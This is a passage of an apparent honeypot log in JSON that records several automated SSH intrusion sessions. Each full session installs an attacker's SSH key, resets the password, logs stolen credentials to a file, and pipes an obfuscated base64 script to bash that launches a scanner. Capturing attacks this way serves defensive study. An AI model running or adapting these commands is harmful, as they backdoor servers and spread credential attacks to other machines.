GNU/Linux"},{"seq":28,"at":"2026-08-25T12:51:03.275561+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T12:51:03.276218+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T12:51:03.892384+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T12:51:04.515794+00:00","kind":"output","latency_ms":622,"data":"Model name: AMD EPYC 7713 64-Core Processor x8"},{"seq":32,"at":"2026-08-25T12:51:05.134686+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T12:51:05.984922+00:00","kind":"output","latency_ms":849,"data":"24G"},{"seq":34,"at":"2026-08-25T12:51:07.970702+00:00","kind":"input","latency_ms":null,"data":"echo \"root Ruibo2014!@#\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T12:51:08.588308+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T12:51:09.279628+00:00","kind":"output","latency_ms":690,"data":""},{"seq":37,"at":"2026-08-25T12:51:10.802889+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T12:51:11.555760+00:00","kind":"output","latency_ms":748,"data":"horsefeed: oats=120 hay=84 water=restocked\n"},{"seq":39,"at":"2026-08-25T12:51:12.170468+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T12:51:12.645107+00:00","kind":"output","latency_ms":474,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":41,"at":"2026-08-25T12:51:13.264657+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T12:51:13.883515+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T12:51:14.640887+00:00","kind":"output","latency_ms":756,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":44,"at":"2026-08-25T12:51:15.259614+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T12:51:16.085905+00:00","kind":"output","latency_ms":825,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":46,"at":"2026-08-25T12:51:16.704061+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T12:51:28.689600+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T12:51:28.690388+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Ruibo2014!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"e94bbb20-9ab1-4579-83a3-b31d8d25d26c","name":"snowy-prickly-moorhen","protocol":"ssh","channel_kind":"exec","src_ip":"185.158.22.150","src_port":51641,"username":"eric","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T12:00:45.324526+00:00","ended_at":"2026-08-25T12:00:45.482622+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3891,"events":[{"seq":1,"at":"2026-08-25T12:00:09.636118+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T12:00:10.149547+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T12:00:14.958758+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T12:00:14.959374+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T12:00:15.474856+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\n7bQuEHGsVpFr\\n7bQuEHGsVpFr\"|passwd|bash"},{"seq":6,"at":"2026-08-25T12:00:15.991566+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\n7bQuEHGsVpFr\\n7bQuEHGsVpFr\\n\"|passwd"},{"seq":7,"at":"2026-08-25T12:00:16.502374+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T12:00:16.502755+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T12:00:17.016132+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T12:00:17.508957+00:00","kind":"output","latency_ms":492,"data":"15888 11432 4456 0 0 0"},{"seq":11,"at":"2026-08-25T12:00:18.025289+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T12:00:19.150047+00:00","kind":"output","latency_ms":1124,"data":"-rwxr-xr-x 1 root root 147K Jan 1 00:00 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T12:00:19.666536+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T12:00:19.668492+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T12:00:20.182281+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T12:00:20.183233+00:00","kind":"output","latency_ms":null,"data":" 12:00:20 up 5 days, 8:50, 0 user, load average: 0.1, 0.09, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T12:00:20.698210+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T12:00:20.698793+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T12:00:21.219838+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T12:00:21.221195+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T12:00:21.728149+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T12:00:21.728753+00:00","kind":"output","latency_ms":null,"data":"top - 12:00:21 up 5 days, 8:50, 0 user, load average: 0.1, 0.09, 0.09\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T12:00:22.244469+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T12:00:22.245193+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T12:00:22.760048+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T12:00:22.760565+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T12:00:23.276140+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T12:00:23.277006+00:00","kind":"output","latency_ms":null,"data":"eric"},{"seq":29,"at":"2026-08-25T12:00:23.790961+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T12:00:24.946823+00:00","kind":"output","latency_ms":1155,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T12:00:25.465649+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T12:00:26.270723+00:00","kind":"output","latency_ms":805,"data":"24G"},{"seq":33,"at":"2026-08-25T12:00:27.938205+00:00","kind":"input","latency_ms":null,"data":"echo \"eric 1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T12:00:28.452549+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T12:00:28.972997+00:00","kind":"output","latency_ms":519,"data":""},{"seq":36,"at":"2026-08-25T12:00:30.269631+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T12:00:31.370240+00:00","kind":"output","latency_ms":1098,"data":"\u0d24\u0d46\u0d31\u0d4d\u0d31\u0d3e\u0d2f \u0d2b\u0d2f\u0d7d \u0d2a\u0d47\u0d30\u0d4b \u0d21\u0d2f\u0d31\u0d15\u0d4d\u0d1f\u0d31\u0d3f\u0d2f\u0d4b \u0d07\u0d32\u0d4d\u0d32"},{"seq":38,"at":"2026-08-25T12:00:31.884279+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T12:00:33.357273+00:00","kind":"output","latency_ms":1471,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T12:00:33.871816+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T12:00:34.386388+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T12:00:35.004871+00:00","kind":"output","latency_ms":618,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T12:00:35.519810+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T12:00:36.336703+00:00","kind":"output","latency_ms":814,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T12:00:36.850724+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T12:00:37.278076+00:00","kind":"output","latency_ms":426,"data":""},{"seq":47,"at":"2026-08-25T12:00:45.327175+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T12:00:45.328241+00:00","kind":"output","latency_ms":null,"data":"eric"}],"credentials":[{"username":"eric","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"0edee1f6-c125-4bb5-8dfd-c1b37a4fc167","name":"leafy-keen-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"51.12.221.15","src_port":46600,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T11:09:45.835620+00:00","ended_at":"2026-08-25T11:09:45.928858+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3739,"events":[{"seq":1,"at":"2026-08-25T11:09:18.508640+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T11:09:18.829355+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T11:09:19.041412+00:00","kind":"output","latency_ms":531,"data":""},{"seq":4,"at":"2026-08-25T11:09:22.603035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-25T11:09:22.603472+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-25T11:09:22.923773+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root123\\nufTJXttkvyvM\\nufTJXttkvyvM\"|passwd|bash"},{"seq":7,"at":"2026-08-25T11:09:23.243733+00:00","kind":"input","latency_ms":null,"data":"echo \"root123\\nufTJXttkvyvM\\nufTJXttkvyvM\\n\"|passwd"},{"seq":8,"at":"2026-08-25T11:09:23.559755+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T11:09:23.560377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T11:09:23.878908+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T11:09:24.647807+00:00","kind":"output","latency_ms":768,"data":"15888 1123 11920 176 2843 13764"},{"seq":12,"at":"2026-08-25T11:09:24.968396+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T11:09:26.036424+00:00","kind":"output","latency_ms":1067,"data":"-rwxr-xr-x 1 root root 133K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T11:09:26.358043+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T11:09:26.359702+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-25T11:09:26.678826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T11:09:26.679523+00:00","kind":"output","latency_ms":null,"data":" 11:09:26 up 5 days, 7:59, 0 user, load average: 0.07, 0.06, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T11:09:26.998697+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T11:09:26.999565+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T11:09:27.324643+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T11:09:27.325329+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T11:09:27.639715+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T11:09:27.640341+00:00","kind":"output","latency_ms":null,"data":"top - 11:09:27 up 5 days, 7:59, 0 user, load average: 0.07, 0.06, 0.08\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T11:09:27.960690+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T11:09:27.961827+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T11:09:28.281283+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T11:09:28.281831+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T11:09:28.601914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T11:09:28.602254+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":30,"at":"2026-08-25T11:09:28.922670+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T11:09:30.189482+00:00","kind":"output","latency_ms":1266,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T11:09:30.509389+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T11:09:31.151079+00:00","kind":"output","latency_ms":641,"data":"24G"},{"seq":34,"at":"2026-08-25T11:09:32.358232+00:00","kind":"input","latency_ms":null,"data":"echo \"admin root123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T11:09:32.676108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T11:09:33.057255+00:00","kind":"output","latency_ms":380,"data":""},{"seq":37,"at":"2026-08-25T11:09:33.780199+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T11:09:34.297738+00:00","kind":"output","latency_ms":517,"data":"1"},{"seq":39,"at":"2026-08-25T11:09:34.618003+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T11:09:35.319463+00:00","kind":"output","latency_ms":700,"data":"1"},{"seq":41,"at":"2026-08-25T11:09:35.639646+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T11:09:35.959247+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T11:09:36.485061+00:00","kind":"output","latency_ms":526,"data":"1"},{"seq":44,"at":"2026-08-25T11:09:36.805855+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T11:09:37.258648+00:00","kind":"output","latency_ms":451,"data":"1"},{"seq":46,"at":"2026-08-25T11:09:37.578215+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T11:09:38.096933+00:00","kind":"output","latency_ms":517,"data":""},{"seq":48,"at":"2026-08-25T11:09:45.836772+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-25T11:09:45.837396+00:00","kind":"output","latency_ms":null,"data":"admin"}],"credentials":[{"username":"admin","password":"root123","method":"password","accepted":true,"tier":"other"}]} {"id":"651ec677-83a6-4d7f-b33e-6e77280c89dc","name":"scarlet-candid-reindeer","protocol":"ssh","channel_kind":"exec","src_ip":"20.102.98.53","src_port":38006,"username":"es1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":65,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T09:51:04.655389+00:00","ended_at":"2026-08-25T09:51:04.662733+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3254,"events":[{"seq":1,"at":"2026-08-25T09:50:46.113391+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T09:50:46.182771+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T09:50:48.711471+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T09:50:48.712279+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T09:50:48.779702+00:00","kind":"input","latency_ms":null,"data":"echo -e \"es1\\n2T3SkbIqjbA0\\n2T3SkbIqjbA0\"|passwd|bash"},{"seq":6,"at":"2026-08-25T09:50:48.845233+00:00","kind":"input","latency_ms":null,"data":"echo \"es1\\n2T3SkbIqjbA0\\n2T3SkbIqjbA0\\n\"|passwd"},{"seq":7,"at":"2026-08-25T09:50:48.913025+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T09:50:48.913555+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T09:50:48.976437+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T09:50:50.628631+00:00","kind":"output","latency_ms":1651,"data":"15888 2754 1157 11187 107 11264"},{"seq":11,"at":"2026-08-25T09:50:50.694188+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T09:50:51.284406+00:00","kind":"output","latency_ms":590,"data":"-rwxr-xr-x 1 root root 148K May 24 2024 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T09:50:51.349116+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T09:50:51.349607+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-25T09:50:51.414317+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T09:50:51.415129+00:00","kind":"output","latency_ms":null,"data":" 09:50:51 up 5 days, 6:40, 0 user, load average: 0.34, 0.27, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T09:50:51.480153+00:00","kind":"input","latency_ms":null,"data":"uname 